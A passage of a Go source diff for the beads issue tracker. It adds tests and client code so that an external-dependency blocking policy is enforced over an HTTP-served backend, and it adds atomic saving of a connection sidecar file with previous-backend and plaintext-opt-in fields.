wire.CapExternalDependencies; this test's no-server-enforcement premise no longer holds") + } + + // externaldeps.New with nil locate/open funcs is the same fail-closed + // shape cmd/bd's wireExternalDependencyPolicy composes for an + // unconfigured external project: a reference to a project this workspace + // has not configured resolves to "unsatisfied", so the dependency keeps + // blocking rather than silently passing. + decorated := externaldeps.New(env.subject, nil, nil) + + filter, err := workapi.BuildReadyFilter(issueops.ReadyRequest{}) + if err != nil { + t.Fatalf("BuildReadyFilter: %v", err) + } + rows, err := decorated.GetReadyWorkWithCounts(ctx, filter) + if err != nil { + t.Fatalf("GetReadyWorkWithCounts over http: %v", err) + } + var ids []string + for _, row := range rows { + if row != nil && row.Issue != nil { + ids = append(ids, row.ID) + } + } + for _, id := range ids { + if id == blockedID { + t.Errorf("ready over http = %v, want %q excluded by its unsatisfied external:otherproj:cap dependency", ids, blockedID) + } + } + var sawFree bool + for _, id := range ids { + if id == freeID { + sawFree = true + } + } + if !sawFree { + t.Errorf("ready over http = %v, want unrelated issue %q present", ids, freeID) + } + + // The total `bd ready --json` prints beside the page, and the count + // text-mode `bd ready` prints, must exclude the same issue. This store + // cannot express ExcludeIDs, so both come from the decorator's client-side + // drop, which is where the exclusion has to be subtracted. + _, total, err := decorated.GetReadyWorkWithCountsAndTotal(ctx, filter) + if err != nil { + t.Fatalf("GetReadyWorkWithCountsAndTotal over http: %v", err) + } + count, err := decorated.CountReadyWork(ctx, filter) + if err != nil { + t.Fatalf("CountReadyWork over http: %v", err) + } + if total != len(ids) || count != len(ids) { + t.Errorf("ready over http lists %v, but total = %d and CountReadyWork = %d; want both %d (%q excluded)", ids, total, count, len(ids), blockedID) + } +} + +// TestServedReadyCountExcludesAnExternallyBlockedIssuePastTheDefaultPage pins, +// against a real served server, the shape the decorator once misread: an +// unlimited ready listing over http comes back as the server's default page +// (the wire omits a zero limit) while its total counts the whole ready set. +// Text-mode `bd ready` counts through CountReadyWork, which always fetches +// unlimited, so an externally blocked issue sorted past that page stayed in +// its count when the decorator took the zero limit for a window holding every +// row. +func TestServedReadyCountExcludesAnExternallyBlockedIssuePastTheDefaultPage(t *testing.T) { + env := newServedEnv(t, "hixp") + ctx := t.Context() + + free := make([]*types.Issue, 0, workapi.DefaultReadyLimit+1) + for i := range workapi.DefaultReadyLimit + 1 { + free = append(free, &types.Issue{ + ID: fmt.Sprintf("%s-free%03d", env.prefix, i), Title: "not blocked by anything", + Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask, + }) + } + if err := env.reference.CreateIssues(ctx, free, "tester"); err != nil { + t.Fatalf("seed free issues: %v", err) + } + // Priority 4 sorts the blocked issue after every free one, past the + // default page. + blockedID := env.prefix + "-blocked" + if err := env.createIssue(ctx, &types.Issue{ + ID: blockedID, Title: "blocked by an external capability", + Status: types.StatusOpen, Priority: 4, IssueType: types.TypeTask, + }, "tester"); err != nil { + t.Fatalf("seed blocked issue: %v", err) + } + if err := env.addDependency(ctx, &types.Dependency{ + IssueID: blockedID, + DependsOnID: "external:otherproj:cap", + Type: types.DepBlocks, + }, "tester"); err != nil { + t.Fatalf("seed external dependency: %v", err) + } + + countFilter, err := workapi.BuildReadyCountFilter(issueops.ReadyRequest{}) + if err != nil { + t.Fatalf("BuildReadyCountFilter: %v", err) + } + // The premise this test pins: undecorated, the unlimited listing is the + // default page, the blocked issue is not on it, and the total counts it. + rows, total, err := env.subject.GetReadyWorkWithCountsAndTotal(ctx, countFilter) + if err != nil { + t.Fatalf("undecorated GetReadyWorkWithCountsAndTotal over http: %v", err) + } + if len(rows) != workapi.DefaultReadyLimit || total != workapi.DefaultReadyLimit+2 { + t.Fatalf("undecorated unlimited listing over http = %d rows, total %d; want the %d-row default page, total %d; this test's premise no longer holds", + len(rows), total, workapi.DefaultReadyLimit, workapi.DefaultReadyLimit+2) + } + for _, row := range rows { + if row != nil && row.Issue != nil && row.ID == blockedID { + t.Fatalf("%q is on the default page; this test needs it past the page", blockedID) + } + } + + decorated := externaldeps.New(env.subject, nil, nil) + const want = workapi.DefaultReadyLimit + 1 // every free issue + count, err := decorated.CountReadyWork(ctx, countFilter) + if err != nil { + t.Fatalf("CountReadyWork over http: %v", err) + } + pageFilter, err := workapi.BuildReadyFilter(issueops.ReadyRequest{}) + if err != nil { + t.Fatalf("BuildReadyFilter: %v", err) + } + pageRows, pageTotal, err := decorated.GetReadyWorkWithCountsAndTotal(ctx, pageFilter) + if err != nil { + t.Fatalf("GetReadyWorkWithCountsAndTotal over http: %v", err) + } + if count != want || pageTotal != want || len(pageRows) != workapi.DefaultReadyLimit { + t.Errorf("over http: CountReadyWork = %d; default page = %d rows, total %d; want count and total %d (%q excluded), %d rows", + count, len(pageRows), pageTotal, want, blockedID, workapi.DefaultReadyLimit) + } +} + +// TestServedRolesKeepTheExternalDependencyPolicy pins, against a real served +// server, the roles the decorator composes over a remote store. Each one +// answers through httpclient.Store's served roles: the base accessors built +// them over legacy methods that store refuses, which failed `bd list`, +// `bd show`, `bd dep tree`, `bd ready --claim` and `bd close` even for an issue +// nothing blocks. And each still holds the externally blocked issue out of +// ready work, claims and closes. The served handler here binds its roles to +// the raw reference store, which knows nothing of the policy, so every +// exclusion below is the client's. +func TestServedRolesKeepTheExternalDependencyPolicy(t *testing.T) { + env := newServedEnv(t, "hixr") + ctx := t.Context() + + const externalRef = "external:otherproj:cap" + blockedID := env.prefix + "-blocked" + freeID := env.prefix + "-free" + // Priority 1 sorts the blocked issue first, where a claim blind to the + // policy would take it. + for _, seed := range []*types.Issue{ + {ID: blockedID, Title: "blocked by an external capability", Status: types.StatusOpen, Priority: 1, IssueType: types.TypeTask}, + {ID: freeID, Title: "not blocked by anything", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask}, + } { + if err := env.createIssue(ctx, seed, "tester"); err != nil { + t.Fatalf("seed %s: %v", seed.ID, err) + } + } + if err := env.addDependency(ctx, &types.Dependency{ + IssueID: blockedID, + DependsOnID: externalRef, + Type: types.DepBlocks, + }, "tester"); err != nil { + t.Fatalf("seed external dependency: %v", err) + } + decorated := externaldeps.New(env.subject, nil, nil) + + reader, err := decorated.IssueReader() + if err != nil { + t.Fatalf("IssueReader: %v", err) + } + listed, err := reader.List(ctx, issueops.ListRequest{}) + if err != nil { + t.Fatalf("List over http: %v", err) + } + if ids := pageIDs(listed); !slices.Contains(ids, blockedID) || !slices.Contains(ids, freeID) { + t.Errorf("List over http = %v, want both issues: a plain listing claims nothing about readiness", ids) + } + readyListed, err := reader.List(ctx, issueops.ListRequest{ReadyFlag: true}) + if err != nil { + t.Fatalf("List --ready over http: %v", err) + } + if ids := pageIDs(readyListed); !slices.Equal(ids, []string{freeID}) { + t.Errorf("List --ready over http = %v, want [%s]", ids, freeID) + } + ready, err := reader.Ready(ctx, issueops.ReadyRequest{}) + if err != nil { + t.Fatalf("Ready over http: %v", err) + } + if ids := pageIDs(ready); !slices.Equal(ids, []string{freeID}) { + t.Errorf("Ready over http = %v, want [%s]", ids, freeID) + } + details, err := reader.Get(ctx, issueops.GetRequest{ID: blockedID}) + if err != nil || details == nil || details.ID != blockedID { + t.Fatalf("Get %s over http = %v, %v", blockedID, details, err) + } + + annotator, err := decorated.BlockingAnnotator() + if err != nil { + t.Fatalf("BlockingAnnotator: %v", err) + } + blocking, err := annotator.AnnotateBlocking(ctx, issueops.BlockingRequest{IDs: []string{blockedID, freeID}}) + if err != nil { + t.Fatalf("AnnotateBlocking over http: %v", err) + } + for _, item := range blocking.Items { + if blockedBy := slices.Contains(item.BlockedBy, externalRef); blockedBy != (item.ID == blockedID) { + t.Errorf("AnnotateBlocking over http: %s blocked by %v", item.ID, item.BlockedBy) + } + } + + walker, err := decorated.TreeWalker() + if err != nil { + t.Fatalf("TreeWalker: %v", err) + } + tree, err := walker.WalkTree(ctx, issueops.WalkTreeRequest{RootID: blockedID, MaxDepth: 50}) + if err != nil { + t.Fatalf("WalkTree over http: %v", err) + } + var leaves int + for _, node := range tree.Nodes { + if node.ID == externalRef { + leaves++ + } + } + if leaves != 1 { + t.Errorf("WalkTree over http shows %d %s leaves, want one", leaves, externalRef) + } + + claimer, err := decorated.IssueClaimer() + if err != nil { + t.Fatalf("IssueClaimer: %v", err) + } + if _, err := claimer.Claim(ctx, issueops.ClaimRequest{Actor: "worker", IssueID: blockedID}); !errors.Is(err, storage.ErrCloseBlocked) { + t.Errorf("Claim %s over http = %v, want ErrCloseBlocked", blockedID, err) + } + readyClaimer, err := decorated.ReadyClaimer() + if err != nil { + t.Fatalf("ReadyClaimer: %v", err) + } + next, err := readyClaimer.ClaimNext(ctx, issueops.ClaimNextRequest{Actor: "worker"}) + if err != nil || next.Claimed == nil || next.Claimed.ID != freeID { + t.Fatalf("ClaimNext over http = %+v, %v; want %s", next.Claimed, err, freeID) + } + + closer, err := decorated.BatchCloser() + if err != nil { + t.Fatalf("BatchCloser: %v", err) + } + closed, err := closer.CloseBatch(ctx, issueops.CloseBatchRequest{ + Actor: "worker", + Items: []issueops.BatchCloseItem{{IssueID: blockedID}, {IssueID: freeID}}, + }) + if err != nil || len(closed.Outcomes) != 2 { + t.Fatalf("CloseBatch over http = %+v, %v; want two outcomes", closed.Outcomes, err) + } + if !errors.Is(closed.Outcomes[0].Err, storage.ErrCloseBlocked) || closed.Outcomes[1].Err != nil { + t.Fatalf("CloseBatch over http: %s = %v, %s = %v; want the first refused, the second closed", + blockedID, closed.Outcomes[0].Err, freeID, closed.Outcomes[1].Err) + } + assertServedStatus(t, env, blockedID, types.StatusOpen) + assertServedStatus(t, env, freeID, types.StatusClosed) + forced, err := closer.CloseBatch(ctx, issueops.CloseBatchRequest{ + Actor: "worker", Force: true, + Items: []issueops.BatchCloseItem{{IssueID: blockedID}}, + }) + if err != nil || len(forced.Outcomes) != 1 || forced.Outcomes[0].Err != nil { + t.Fatalf("CloseBatch --force over http = %+v, %v; want it closed", forced.Outcomes, err) + } + assertServedStatus(t, env, blockedID, types.StatusClosed) +} + +// TestServedReadyTotalIgnoresAnExternallyBlockedIssueOutsideTheFilter pins the +// count an assignee-filtered `bd ready` prints over http. Past the server's +// default page the decorator used to subtract every externally blocked issue +// in the workspace from the filtered total, so bob's blocked issue, which the +// filter never counted, took one off alice's. +func TestServedReadyTotalIgnoresAnExternallyBlockedIssueOutsideTheFilter(t *testing.T) { + env := newServedEnv(t, "hixa") + ctx := t.Context() + + mine := make([]*types.Issue, 0, workapi.DefaultReadyLimit+1) + for i := range workapi.DefaultReadyLimit + 1 { + mine = append(mine, &types.Issue{ + ID: fmt.Sprintf("%s-alice%03d", env.prefix, i), Title: "alice's ready work", + Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask, Assignee: "alice", + }) + } + if err := env.reference.CreateIssues(ctx, mine, "tester"); err != nil { + t.Fatalf("seed alice's issues: %v", err) + } + blockedID := env.prefix + "-bob" + if err := env.createIssue(ctx, &types.Issue{ + ID: blockedID, Title: "bob's externally blocked work", + Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask, Assignee: "bob", + }, "tester"); err != nil { + t.Fatalf("seed blocked issue: %v", err) + } + if err := env.addDependency(ctx, &types.Dependency{ + IssueID: blockedID, + DependsOnID: "external:otherproj:cap", + Type: types.DepBlocks, + }, "tester"); err != nil { + t.Fatalf("seed external dependency: %v", err) + } + + decorated := externaldeps.New(env.subject, nil, nil) + const want = workapi.DefaultReadyLimit + 1 // every one of alice's issues + request := issueops.ReadyRequest{Assignee: "alice"} + countFilter, err := workapi.BuildReadyCountFilter(request) + if err != nil { + t.Fatalf("BuildReadyCountFilter: %v", err) + } + count, err := decorated.CountReadyWork(ctx, countFilter) + if err != nil { + t.Fatalf("CountReadyWork over http: %v", err) + } + pageFilter, err := workapi.BuildReadyFilter(request) + if err != nil { + t.Fatalf("BuildReadyFilter: %v", err) + } + rows, total, err := decorated.GetReadyWorkWithCountsAndTotal(ctx, pageFilter) + if err != nil { + t.Fatalf("GetReadyWorkWithCountsAndTotal over http: %v", err) + } + if count != want || total != want || len(rows) != workapi.DefaultReadyLimit { + t.Errorf("over http, alice's ready work: CountReadyWork = %d; page = %d rows, total %d; want count and total %d, %d rows", + count, len(rows), total, want, workapi.DefaultReadyLimit) + } +} + +// TestServedReadyMaxRowsCountsTheRowsKept pins `bd ready --limit N +// --max-rows N` over http, which failed with exit 2 once more than N issues +// were ready and any issue held an unsatisfied external blocker. The decorator +// fetches a window wider than the limit to make room for the rows it drops, +// and the http bridge caps the rows it fetched, so the cap counted rows the +// caller was never handed. A SQL store caps the page it delivers, and so must +// this path. +func TestServedReadyMaxRowsCountsTheRowsKept(t *testing.T) { + env := newServedEnv(t, "hixm") + ctx := t.Context() + + free := []string{env.prefix + "-a", env.prefix + "-b", env.prefix + "-c"} + blockedID := env.prefix + "-z" + // The priorities fix the ready order: the three free issues, then the + // blocked one, so a window of the limit plus one can leave it out and + // still hold more rows than the limit. + for i, id := range append(slices.Clone(free), blockedID) { + if err := env.createIssue(ctx, &types.Issue{ + ID: id, Title: id, Status: types.StatusOpen, Priority: i + 1, IssueType: types.TypeTask, + }, "tester"); err != nil { + t.Fatalf("seed %s: %v", id, err) + } + } + if err := env.addDependency(ctx, &types.Dependency{ + IssueID: blockedID, + DependsOnID: "external:otherproj:cap", + Type: types.DepBlocks, + }, "tester"); err != nil { + t.Fatalf("seed external dependency: %v", err) + } + decorated := externaldeps.New(env.subject, nil, nil) + + for _, tc := range []struct { + name string + limit, maxRows int + want []string // nil: the cap fires + }{ + // The window is 2+1 rows, all free; the cap counts the page of two. + {name: "cap equals the limit", limit: 2, maxRows: 2, want: free[:2]}, + // The window holds all four rows, three of them kept. + {name: "cap below the limit", limit: 5, maxRows: 3, want: free}, + // The server's default page, again all four. + {name: "unlimited", limit: 0, maxRows: 3, want: free}, + // The three rows kept exceed the caller's cap, which still fires. + {name: "kept rows exceed the cap", limit: 5, maxRows: 2}, + } { + t.Run(tc.name, func(t *testing.T) { + limit := tc.limit + filter, err := workapi.BuildReadyFilter(issueops.ReadyRequest{Limit: &limit}) + if err != nil { + t.Fatalf("BuildReadyFilter: %v", err) + } + filter.MaxRows, filter.MaxRowsSource = tc.maxRows, "--max-rows" + check := func(method string, ids []string, err error) { + t.Helper() + var tooMany *storageops.ErrTooManyRows + switch { + case tc.want == nil: + if !errors.As(err, &tooMany) || tooMany.Cap != tc.maxRows || tooMany.Source != "--max-rows" { + t.Errorf("%s over http = %v, %v; want the --max-rows cap of %d to fire on the rows kept", method, ids, err, tc.maxRows) + } + case err != nil: + t.Errorf("%s over http: %v; want %v, which a cap of %d admits", method, err, tc.want, tc.maxRows) + case !slices.Equal(ids, tc.want): + t.Errorf("%s over http = %v, want %v (%q excluded)", method, ids, tc.want, blockedID) + } + } + + issues, err := decorated.GetReadyWork(ctx, filter) + check("GetReadyWork", issueIDs(issues), err) + rows, err := decorated.GetReadyWorkWithCounts(ctx, filter) + check("GetReadyWorkWithCounts", rowIDs(rows), err) + rows, total, err := decorated.GetReadyWorkWithCountsAndTotal(ctx, filter) + check("GetReadyWorkWithCountsAndTotal", rowIDs(rows), err) + if err == nil && total != len(free) { + t.Errorf("GetReadyWorkWithCountsAndTotal over http: total %d, want %d (%q excluded)", total, len(free), blockedID) + } + }) + } +} + +func assertServedStatus(t *testing.T, env *servedEnv, id string, want types.Status) { + t.Helper() + issue, err := env.getIssue(t.Context(), id) + if err != nil || issue == nil { + t.Fatalf("read %s back: %v, %v", id, issue, err) + } + if issue.Status != want { + t.Errorf("%s status = %s, want %s", id, issue.Status, want) + } +} diff --git a/internal/httpclient/store.go b/internal/httpclient/store.go index 2b36e9744..731c5fa7c 100644 --- a/internal/httpclient/store.go +++ b/internal/httpclient/store.go @@ -18,9 +18,11 @@ import ( "context" "errors" "fmt" + "slices" "sync" "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" "github.com/steveyegge/beads/internal/storage" ) @@ -73,6 +75,58 @@ type Store struct { // interfaces here would assert a maintenance contract no OSS caller checks. var _ storage.DoltStorage = (*Store)(nil) +// IsRemoteBackendStore satisfies storage.RemoteBackendStore. cmd/bd's storage +// chain wraps this store in the external-dependency policy decorator like any +// other. The decorator reads this marker only to build its roles on this +// store's served roles rather than on the legacy methods it refuses +// (internal/storage/externaldeps/remote_roles.go). It decides whether to stand +// down through ServerEnforcesExternalDependencyPolicy below, never through +// this marker. +func (s *Store) IsRemoteBackendStore() bool { return true } + +var _ storage.RemoteBackendStore = (*Store)(nil) + +// ServerEnforcesExternalDependencyPolicy satisfies +// storage.ExternalDependencyPolicyProber (design 3.6): it answers whether the +// server this store dials already enforces bd's external-dependency policy +// itself, by checking the handshake for wire.CapExternalDependencies. +// +// It propagates a handshake error rather than swallowing it to false, the +// same asymmetry servesBatchClose documents: this probe gates whether the +// external-deps DECORATOR runs its own enforcement at all, so an unresolved +// "does the server already enforce this" has to fail the caller, not silently +// resolve to "no, so enforce here" (which happens to be safe for THIS probe's +// specific true/false meaning but would still hide a transport failure behind +// a policy decision) or to "yes, so skip" (which would be the actual bug this +// interface exists to prevent — the policy must never be silently skipped). +func (s *Store) ServerEnforcesExternalDependencyPolicy(ctx context.Context) (bool, error) { + snap, err := s.snapshot(ctx) + if err != nil { + return false, err + } + if snap == nil { + return false, nil + } + return slices.Contains(snap.Capabilities, wire.CapExternalDependencies), nil +} + +var _ storage.ExternalDependencyPolicyProber = (*Store)(nil) + +// ExcludeIDsUnsupported satisfies storage.ExcludeIDsUnsupportedStore: the v0 +// wire's listReadyWork and countReadyWork operations publish no id-exclusion +// parameter, so encode.ReadyBridgeParams / ReadyBridgeCountParams refuse any +// types.WorkFilter carrying ExcludeIDs outright (D8/D9, L12) rather than +// silently widening the result. Reporting true here — unconditionally, since +// the gap is in the wire shape, not in any per-call state — lets the +// external-deps decorator fall back to filtering its OWN additional +// exclusions (unsatisfied external:: blockers) client +// side instead of folding them into the filter it hands this store, so design +// 3.6's policy still runs against a server that does not advertise +// wire.CapExternalDependencies rather than tripping this store's refusal. +func (s *Store) ExcludeIDsUnsupported() bool { return true } + +var _ storage.ExcludeIDsUnsupportedStore = (*Store)(nil) + // New builds the store around an already-resolved target and transport. // // snapshot pre-seeds the handshake context, or is nil to let D6 fetch it lazily diff --git a/internal/httpclient/target.go b/internal/httpclient/target.go index ca86c9e77..bad29f6d0 100644 --- a/internal/httpclient/target.go +++ b/internal/httpclient/target.go @@ -30,6 +30,26 @@ type Target struct { // skips the check. It is compared against ContextResponse.project_id at // handshake (D6). ExpectProjectID string + // PreviousBackend records the backend selection metadata.json carried + // right before THIS connect (bee-ghosttrack CHANGES_REQUESTED on #7288, + // should-fix 1): `bd connect --clear` reads it back to restore + // metadata.json's backend selection, so detaching from http returns the + // workspace to whatever it was attached to before, rather than leaving + // it pinned to "http" with no sidecar to dial. "" means there was + // nothing to restore (a workspace's first-ever connect, or a value + // Attach deliberately left alone — see Attach's own doc). + PreviousBackend string + // AllowInsecureCredential records `bd connect --allow-plaintext`'s grant + // for THIS target (bee-ghosttrack CHANGES_REQUESTED on #7288, + // should-fix 2): once connected with the flag, every later dial for this + // workspace — not only connect's own Handshake probe — carries the same + // opt-in, so an operator who accepted the risk once at connect time does + // not also need BEADS_HTTP_ALLOW_INSECURE=1 set for every ordinary `bd` + // command afterward. It is scoped to the sidecar it is saved beside: a + // `bd connect` to a DIFFERENT url without the flag writes a fresh + // sidecar with this false, so the grant never silently carries over to a + // server it was never given for. See guardInsecureCredential. + AllowInsecureCredential bool // CAFile names a PEM file that becomes the ENTIRE trusted root pool for // this target — not an addition to the system store — set by // `bd connect --ca-file `. "" leaves this target on the system @@ -81,6 +101,14 @@ type targetFile struct { // CAFile mirrors Target.CAFile; see that field's doc for the trust model // and TransportFor for the env-vs-sidecar precedence. CAFile string `json:"ca_file,omitempty"` + // PreviousBackend mirrors Target.PreviousBackend; see that field's doc. + PreviousBackend string `json:"previous_backend,omitempty"` + // AllowPlaintext mirrors Target.AllowInsecureCredential; see that field's + // doc. Named differently on the wire (matching the CLI flag's own + // spelling) than the Go field (matching DialOptions.AllowInsecureCredential), + // deliberately: this is the one record of what a human typed, and the + // JSON key should read that way on disk. + AllowPlaintext bool `json:"allow_plaintext,omitempty"` } // TargetPath is the sidecar's location for a workspace. @@ -122,7 +150,13 @@ func LoadTarget(beadsDir string) (Target, error) { if err := checkCAFileAbsolute(f.CAFile); err != nil { return Target{}, err } - return Target{BaseURL: u, ExpectProjectID: f.ExpectProjectID, CAFile: f.CAFile}, nil + return Target{ + BaseURL: u, + ExpectProjectID: f.ExpectProjectID, + CAFile: f.CAFile, + PreviousBackend: f.PreviousBackend, + AllowInsecureCredential: f.AllowPlaintext, + }, nil } // checkNoUserinfo refuses a url carrying userinfo ("user:secret@host"). @@ -155,7 +189,10 @@ func checkCAFileAbsolute(caFile string) error { // and the connect command share one encoder; the connect UX itself (gitignore // coverage, identity verification, conversion consent) is not here. It refuses // a url carrying userinfo and a relative CAFile before writing anything, with -// LoadTarget's own messages. +// LoadTarget's own messages. The write is atomic (temp file in the same +// directory, then rename): a reader racing this write — LoadTarget, or +// another process entirely — must never observe a truncated or partial +// sidecar. func SaveTarget(beadsDir string, t Target) error { if err := checkNoUserinfo(t.BaseURL); err != nil { return err @@ -163,7 +200,13 @@ func SaveTarget(beadsDir string, t Target) error { if err := checkCAFileAbsolute(t.CAFile); err != nil { return err } - f := targetFile{ExpectProjectID: t.ExpectProjectID, API: "v0", CAFile: t.CAFile} + f := targetFile{ + ExpectProjectID: t.ExpectProjectID, + API: "v0", + CAFile: t.CAFile, + PreviousBackend: t.PreviousBackend, + AllowPlaintext: t.AllowInsecureCredential, + } if t.BaseURL != nil { f.URL = t.BaseURL.String() } @@ -171,12 +214,38 @@ func SaveTarget(beadsDir string, t Target) error { if err != nil { return fmt.Errorf("marshaling %s: %w", TargetFileName, err) } - if err := os.WriteFile(TargetPath(beadsDir), data, 0o600); err != nil { + if err := writeFileAtomic(TargetPath(beadsDir), data, 0o600); err != nil { return fmt.Errorf("writing %s: %w", TargetFileName, err) } return nil } +// writeFileAtomic writes data to a temp file in path's directory and renames +// it over path, so a concurrent reader never sees a truncated or partial +// file. Mirrors internal/configfile's own helper of the same name and shape; +// not shared directly because that one is package-private to configfile. +func writeFileAtomic(path string, data []byte, perm os.FileMode) error { + dir := filepath.Dir(path) + tmp, err := os.CreateTemp(dir, filepath.Base(path)+".tmp-*") + if err != nil { + return err + } + tmpName := tmp.Name() + defer os.Remove(tmpName) //nolint:errcheck // no-op after successful rename + if _, err := tmp.Write(data); err != nil { + _ = tmp.Close() + return err + } + if err := tmp.Chmod(perm); err != nil { + _ = tmp.Close() + return err + } + if err := tmp.Close(); err != nil { + return err + } + return os.Rename(tmpName, path) +} + // RemoveTarget deletes the activation sidecar, reporting whether one was there. // It is `bd connect --clear`'s whole write: detaching is a per-user act, so it // must never touch the tracked metadata.json that selects the backend. diff --git a/internal/httpclient/target_test.go b/internal/httpclient/target_test.go index 39a915a50..e25ff8c6a 100644 --- a/internal/httpclient/target_test.go +++ b/internal/httpclient/target_test.go @@ -193,3 +193,64 @@ func TestLoadTargetAcceptsAbsoluteCAFile(t *testing.T) { t.Errorf("CAFile = %q, want %q", got.CAFile, abs) } } + +// TestSaveTargetRoundTripsPreviousBackendAndAllowInsecureCredential pins the +// bee-ghosttrack CHANGES_REQUESTED findings on #7288 (should-fix 1 and 2): +// `bd connect --clear` needs PreviousBackend back to restore metadata.json's +// backend selection, and an ordinary command's dial needs +// AllowInsecureCredential back to honor a plaintext grant made at connect +// time. Neither is useful if the sidecar does not actually carry it through +// a save/load round trip. +func TestSaveTargetRoundTripsPreviousBackendAndAllowInsecureCredential(t *testing.T) { + dir := t.TempDir() + target := Target{ + BaseURL: mustParseURL(t, "http://127.0.0.1:8080"), + PreviousBackend: "dolt", + AllowInsecureCredential: true, + } + if err := SaveTarget(dir, target); err != nil { + t.Fatalf("SaveTarget: %v", err) + } + got, err := LoadTarget(dir) + if err != nil { + t.Fatalf("LoadTarget: %v", err) + } + if got.PreviousBackend != "dolt" { + t.Errorf("PreviousBackend = %q, want %q", got.PreviousBackend, "dolt") + } + if !got.AllowInsecureCredential { + t.Error("AllowInsecureCredential = false after a round trip, want true") + } + + raw, err := os.ReadFile(TargetPath(dir)) + if err != nil { + t.Fatalf("reading sidecar: %v", err) + } + if !strings.Contains(string(raw), `"previous_backend": "dolt"`) { + t.Errorf("sidecar does not carry previous_backend: %s", raw) + } + if !strings.Contains(string(raw), `"allow_plaintext": true`) { + t.Errorf("sidecar does not carry allow_plaintext: %s", raw) + } +} + +// TestSaveTargetOmitsPreviousBackendAndAllowInsecureCredentialWhenUnset keeps +// the common case's sidecar exactly as small as before this fix: a workspace +// with nothing to restore and no plaintext grant must not gain two new +// always-present keys. +func TestSaveTargetOmitsPreviousBackendAndAllowInsecureCredentialWhenUnset(t *testing.T) { + dir := t.TempDir() + if err := SaveTarget(dir, testTarget(t)); err != nil { + t.Fatalf("SaveTarget: %v", err) + } + raw, err := os.ReadFile(TargetPath(dir)) + if err != nil { + t.Fatalf("reading sidecar: %v", err) + } + if strings.Contains(string(raw), "previous_backend") { + t.Errorf("sidecar carries previous_backend with nothing to restore: %s", raw) + } + if strings.Contains(string(raw), "allow_plaintext") { + t.Errorf("sidecar carries allow_plaintext with no grant: %s", raw) + } +} diff --git a/internal/httpclient/unsupported_gen.go b/internal/httpclient/unsupported_gen.go index 2e8cde872..1299968ea 100644 --- a/internal/httpclient/unsupported_gen.go +++ b/internal/httpclient/unsupported_gen.go @@ -227,11 +227,6 @@ func (unsupportedDoltStorage) ForcePush(_ context.Context) (err error) { return } -func (unsupportedDoltStorage) GetAllDependencyRecords(_ context.Context) (_ map[string][]*types.Dependency, err error) { - err = errUnsupported("GetAllDependencyRecords") - return -} - func (unsupportedDoltStorage) GetAllEventsSince(_ context.Context, _ time.Time) (_ []*types.Event, err error) { err = errUnsupported("GetAllEventsSince") return @@ -742,4 +737,4 @@ func (unsupportedDoltStorage) VersionReconciler() (_ issueops.VersionReconciler, return } -// NOTE: partial shell (145 of 200 methods generated; 55 left to this package's hand-written set). +// NOTE: partial shell (144 of 200 methods generated; 56 left to this package's hand-written set). diff --git a/internal/httpclient/wire/handshake.go b/internal/httpclient/wire/handshake.go index b0ed49785..e29e8286a 100644 --- a/internal/httpclient/wire/handshake.go +++ b/internal/httpclient/wire/handshake.go @@ -240,18 +240,16 @@ const CapIssuesCreateDefaultPriority = "issues.create.defaultPriority" // through the policy layer, so httpapi.Capabilities() — the build-level list // the parity gate compares against — never contains it. // -// UNCONSUMED since S3 reconciliation (2026-10): THIS token is unread by this -// client, not because OSS lacks external-dependency policy enforcement — the -// externaldeps decorator (internal/storage/externaldeps) exists in OSS and is -// wired unconditionally into the local storage chain (cmd/bd/storage_chain.go), -// so a local backend already applies the policy itself. What this http -// client specifically lacks is a client-side COMPOSITION of that same -// decorator around a storage.ExternalDependencyQueryStore-backed remote -// store, because a remote server advertising this capability applies the -// policy on its own side before answering — there is nothing left for the -// client to decorate. The token stays declared, because the server-side -// capability and its wire spelling are real and S10 schedules the client half -// that reads it. +// Consumed since S6 (design 3.6): the externaldeps decorator +// (internal/storage/externaldeps) wraps the http store the same as any local +// backend (cmd/bd/storage_chain.go wires it unconditionally), and consults +// storage.ExternalDependencyPolicyProber — which httpclient.Store implements +// by checking for this token in the handshake — before deciding whether to +// also enforce the policy client-side. A server that advertises this token +// has already applied the policy itself, so the decorator's own check is +// redundant there. A server that does NOT advertise it gets the ordinary +// client-side enforcement: the policy is never silently skipped merely +// because the store is remote. const CapExternalDependencies = "policy.external_dependencies" // ClientWireRevision is the wire shape this client was built to speak and diff --git a/internal/storage/externaldeps/BUILD.bazel b/internal/storage/externaldeps/BUILD.bazel index 31715e16c..8ceaede23 100644 --- a/internal/storage/externaldeps/BUILD.bazel +++ b/internal/storage/externaldeps/BUILD.bazel @@ -5,6 +5,7 @@ go_library( srcs = [ "batch_closer.go", "decorator.go", + "remote_roles.go", "resolver.go", "role_accessors.go", "uow_decorator.go", @@ -30,6 +31,7 @@ go_test( srcs = [ "decorator_test.go", "ready_wake_test.go", + "remote_roles_test.go", "uow_decorator_test.go", ], embed = [":externaldeps"], diff --git a/internal/storage/externaldeps/batch_closer.go b/internal/storage/externaldeps/batch_closer.go index 2a6b6970a..35ad20981 100644 --- a/internal/storage/externaldeps/batch_closer.go +++ b/internal/storage/externaldeps/batch_closer.go @@ -10,7 +10,12 @@ import ( ) // BatchCloser preserves external policy on bd close, including its next claim. +// Over a store that serves its roles, remoteBatchCloser refuses the next claim +// instead. func (s *Store) BatchCloser() (issueops.BatchCloser, error) { + if s.servesRoles() { + return &remoteBatchCloser{policy: s}, nil + } return &batchCloser{policy: s}, nil } diff --git a/internal/storage/externaldeps/decorator.go b/internal/storage/externaldeps/decorator.go index 9edb03880..75642ecad 100644 --- a/internal/storage/externaldeps/decorator.go +++ b/internal/storage/externaldeps/decorator.go @@ -119,6 +119,19 @@ type blockingState struct { } func (s *Store) loadBlockingState(ctx context.Context) (blockingState, error) { + // Design 3.6: a remote server that already enforces this policy itself + // (advertised as the handshake's wire.CapExternalDependencies capability, + // probed here through storage.ExternalDependencyPolicyProber) has already + // applied it before answering, so this decorator's own pass would be + // redundant — skip to an empty blocking state. A store that does not + // implement the prober, or that implements it and reports false (a remote + // server silent on the capability included), falls through to the + // ordinary client-side enforcement below: the policy is never silently + // skipped merely because the inner store is remote. + if enforced, err := s.serverEnforcesPolicy(ctx); err != nil || enforced { + return blockingState{}, err + } + queryStore, ok := storage.UnwrapStore(s.inner).(storage.ExternalDependencyQueryStore) var allDeps map[string][]*types.Dependency var err error @@ -136,6 